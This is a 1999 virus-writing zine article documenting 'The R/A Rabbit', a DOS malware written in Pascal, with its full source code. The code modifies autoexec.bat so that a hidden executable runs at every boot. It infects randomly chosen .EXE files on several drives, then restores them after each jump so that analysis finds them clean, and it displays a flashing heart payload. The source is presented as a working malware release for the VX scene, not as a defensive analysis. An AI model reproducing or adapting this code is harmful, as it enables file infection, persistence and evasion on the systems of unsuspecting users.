
                  The R/A Rabbit Documentation

              She's got a smile that it seems to me
                Reminds me of childhood memories
              Where evrything
                Was as fresh as the bright blue sky
              Now and then when I see her face
                She takes me away to a special place
              And if I stared too long
                I'd probably break down and cry

              Sweet child o' mine
                Sweet love o' mine
 _______________________________________________________________

                           - Credits -

  Documentation by Rhape79                 [Ultimate Chaos '99]
  Edited by Spyda                          [Ultimate Chaos '99]

  Rabbit by Rhape79                            "The R/A Rabbit"
  Lyrics by Guns 'n' Roses                "Sweet Child O' Mine"
 _______________________________________________________________

  Contents
  ========

    The History..... This is the background of the rabbit.
    The Objective... What this is trying to accompish.
    The Theory...... Thoughts on how this will be done.
    Implentation.... This is it, the code in full and unmodified.
    Evaluation...... A general overview.
    The Next Stage.. Anything to expect?
    Acknowledgements My acknowledgements.
 _______________________________________________________________

    History
    =======

 There is very little in the way of history fer The R/A Rabbit.
 It's a project I've been working on every now and again over a
 period of time when I could be bothered to follow it up and add
 to the code. It doesn't do anything interesting as much it's
 merely an experiment wif a new type of malware. Similar to a
 virus in approach, but wif different behavioural patterns and
 method of replication.
 _______________________________________________________________

    Objective
    =========

 It's primary goal was to cause confusion on a system where the
 user was educated in what a virus was. As it is not a virus it
 need not follow any of the rules or use techniques like a virus,
 but at the same time it doesn't class as a worm because it jumps
 to new hosts.
 _______________________________________________________________

    Theory
    ======

 As the rabbit jumps from file to file and between drives whilst
 disinfecting and restoring the original file after jump it'll
 only have one copy moving around a system at a time, and
 therefore be harder to catch as files that were infected get
 analysed and found to be clean, the rabbit could potentially
 end up as a hoax - even though it exists. The rabbit carries
 only one payload which is of a graphical nature.

 During execution of an infected file you may find it'll jump to
 another file in the same directory, another file in the parent
 directory, another file on another drive, display the payload
 and/or suicide.
 _______________________________________________________________

    Implentation
    ============

 Here is the rabbit code, whole and unmodified.

{$M $8192,0,0}
Uses Crt,Dos;
Const Fils=11056;
Var Si,Drive:Integer;
    Directory,TARGET:String;
    FromF,ToF,VicF,OldFile:File;
    VICTIM:SearchRec;
    L1,L2:File;
    Agh:Char;
    TF,FF:Text;
    N,C:Integer;

Function ARC(FH,TH:String;JMPA,JMPB:Integer;Re:Byte;Siz:LongInt):String;
Var Bu:Array[1..Fils] Of Char;
    NR,NW:Word;
    NSet:Integer;
Begin
     Assign(L1,FH);
     {$I-}
     Reset(L1,1);
     {$I+}
     If IOResult=0 Then
     Begin
          If Siz=0 Then
          Siz:=FileSize(L1);
          Assign(L2,TH);
          {$I-}
          If Re=0 Then
             Reset(L2,1)
          Else
              ReWrite(L2,1);
          {$I+}
          If IOResult=0 Then
          Begin
               Seek(L1,JMPA);
               Seek(L2,JMPB);
               NSet:=0;
               Repeat
               BlockRead(L1,Bu,SizeOf(Bu),NR);
               BlockWrite(L2,Bu,NR,NW);
               NSet:=NSet+NW;
               Until (NR=0) Or (NW<>NR) Or (Siz<=NSet);
               Close(L1);
               Close(L2);
          End;
     End;
End;
Procedure X(XX,YY:Integer);
Begin
     GotoXY(XX,YY);
     Write('');
End;
Begin
     Assign(FF,'C:\autoexec.bat');
     {$I-}
     Reset(FF);
     Readln(FF,TARGET);
     Close(FF);
     {$I+}
     If TARGET<>'C:\rachel.exe root' Then
     Begin
          {$I-}
          Assign(TF,'C:\autoexec.uc');
          Rewrite(TF);
          Reset(FF);
          Writeln(TF,'C:\rachel.exe root');
          Repeat
          Readln(FF,TARGET);
          Writeln(TF,TARGET);
          Until EOF(FF);
          Close(FF);
          Close(TF);
          Erase(FF);
          Rename(TF,'C:\autoexec.bat');
          {$I+}
          Assign(FF,'C:\rachel.exe');
          ARC(ParamStr(0),'C:\rachel.exe',Fils,0,1,0);
          SetFAttr(FF,hidden);
     End;
     If ParamStr(1)='root' Then
     Begin
          TARGET:='C:\Windows\Desktop\Amber.exe';
          ARC(ParamStr(0),TARGET,0,0,1,0);
          SwapVectors;
          Exec('C:\windows\desktop\Amber.exe','');
          SwapVectors;
          SetFAttr(TARGET,Hidden);
          Halt;
     End;
     Randomize;
     Repeat
     Drive:=(Random(24)+3);
     Until DiskFree(Drive)>12865;
     GetDir(Drive,Directory);
     ChDir(Directory);
     Si:=(Random(4)+1);
     If Si=4 Then ChDir('..');
     GetDir(Drive,Directory);
     Agh:=Char((Random(26)+98));
     FindFirst(Agh+'*.EXE',Archive,VICTIM);
     TARGET:=Directory+'\'+VICTIM.Name;
     If (TARGET=ParamStr(0)) Or (VICTIM.Name='') Then
     Begin
          Si:=0;
          Repeat
          Si:=Si+1;
          Agh:=Char((Random(26)+98));
          FindFirst(Agh+'*.EXE',Archive,VICTIM);
          TARGET:=Directory+'\'+VICTIM.Name;
          Until (Si=20) Or ((TARGET<>ParamStr(0)) And (VICTIM.Name<>''));
          If Si=20 Then
          Begin
               Si:=Random(2);
               If Si=0 Then
               Begin
                    ARC(ParamStr(0),'rachel.dat',Fils,0,1,0);
                    ARC('rachel.dat',ParamStr(0),0,0,1,0);
                    Assign(OldFile,'rachel.dat');
                    {$I-}
                    Erase(OldFile);
                    {$I+}
                    TARGET:='';
                    For Si:=1 To ParamCount Do
                    TARGET:=TARGET+ParamStr(ParamCount);
                    SwapVectors;
                    Exec(ParamStr(0),TARGET);
                    SwapVectors;
                    TextColor(4);
     For N:=30 To 35 Do X(N,7);
     For N:=45 To 50 Do X(N,7);
     For N:=28 To 37 Do X(N,8);
     For N:=43 To 52 Do X(N,8);
     For N:=26 To 39 Do X(N,9);
     For N:=41 To 54 Do X(N,9);
     For N:=26 To 54 Do X(N,10);
     For N:=26 To 54 Do X(N,11);
     For N:=28 To 52 Do X(N,12);
     For N:=30 To 50 Do X(N,13);
     For N:=32 To 48 Do X(N,14);
     For N:=34 To 46 Do X(N,15);
     For N:=36 To 44 Do X(N,16);
     For N:=38 To 42 Do X(N,17);
                       X(40,18);
     C:=0;
     TextColor(15);
     GotoXY(20,22);Write('A');
     GotoXY(30,22);Write('M');
     GotoXY(40,22);Write('B');
     GotoXY(50,22);Write('E');
     GotoXY(60,22);Write('R');
     TextColor(8);
     GotoXY(17,23);Write('The R/A Rabbit');
     GotoXY(37,23);Write('By Rhape79 [Ultimate Chaos]');
     Repeat
     If C=1 Then
     Begin
          TextColor(12);
          C:=0;
     End
     Else
     Begin
          TextColor(0);
          C:=1;
     End;
     For N:=29 To 36 Do X(N,6);
     For N:=44 To 51 Do X(N,6);
     For N:=27 To 29 Do X(N,7);
     For N:=36 To 38 Do X(N,7);
     For N:=42 To 44 Do X(N,7);
     For N:=51 To 53 Do X(N,7);
     For N:=25 To 27 Do X(N,8);
     For N:=38 To 42 Do X(N,8);
     For N:=53 To 55 Do X(N,8);
     For N:=24 To 25 Do X(N,9);
                       X(40,9);
     For N:=55 To 56 Do X(N,9);
     For N:=24 To 25 Do X(N,10);
     For N:=55 To 56 Do X(N,10);
     For N:=24 To 25 Do X(N,11);
     For N:=55 To 56 Do X(N,11);
     For N:=25 To 27 Do X(N,12);
     For N:=53 To 55 Do X(N,12);
     For N:=27 To 29 Do X(N,13);
     For N:=51 To 53 Do X(N,13);
     For N:=29 To 31 Do X(N,14);
     For N:=49 To 51 Do X(N,14);
     For N:=31 To 33 Do X(N,15);
     For N:=47 To 49 Do X(N,15);
     For N:=33 To 35 Do X(N,16);
     For N:=45 To 47 Do X(N,16);
     For N:=35 To 37 Do X(N,17);
     For N:=43 To 45 Do X(N,17);
     For N:=37 To 39 Do X(N,18);
     For N:=41 To 43 Do X(N,18);
     For N:=39 To 41 Do X(N,19);
     GotoXY(80,25);
                    Delay(400);
                    Until Keypressed;
                    Halt;
               End
               Else ARC(ParamStr(0),ParamStr(0),0,0,1,0);
          End;
     End;
     ARC(VICTIM.NAME,'rachel.dat',0,0,1,0);
     ARC(ParamStr(0),TARGET,0,0,1,Fils);
     ARC('rachel.dat',TARGET,0,Fils,0,0);
     ARC(ParamStr(0),'rachel.dat',Fils,0,1,0);
     ARC('rachel.dat',ParamStr(0),0,0,1,0);
     Assign(OldFile,'rachel.dat');
     {$I-}
     Erase(OldFile);
     {$I+}
     TARGET:='';
     For Si:=1 To ParamCount Do
     TARGET:=TARGET+ParamStr(ParamCount);
     SwapVectors;
     Exec(ParamStr(0),TARGET);
     SwapVectors;
End.
 _______________________________________________________________

    Evaluation
    ==========

 Not much to say on this one except that it's nice to read
 through and grasp the way in which pascal accesses files and
 the methods required to ensure safe modification of files.
 _______________________________________________________________

    The Next Stage
    ==============

 At the moment there are no further versions of this rabbit planned
 it demonstrated what I was trying to achieve, and at present there
 is little or no ways in which to further this to any advantage.
 _______________________________________________________________

    Acknowledgements
    ================

 Most of this code was written during my time at college and I'd
 just like to say a few words of thanks to Ray F fer his
 enthusiasm in coding in general and fer not giving up even when
 I did. And also to Captain Kirk, Matt and also to that lunitic
 Rob G!

 Words fer the DAMF: VB will only get you as far as the nursery
 door, then you'll have to grow up and learn something which
 won't support cut 'n' pasting from help files or use a pretty GUI.

 Finally to all those in the VX scene who said pascal was dead..
                     "Keep dreamin' guys.."
 _______________________________________________________________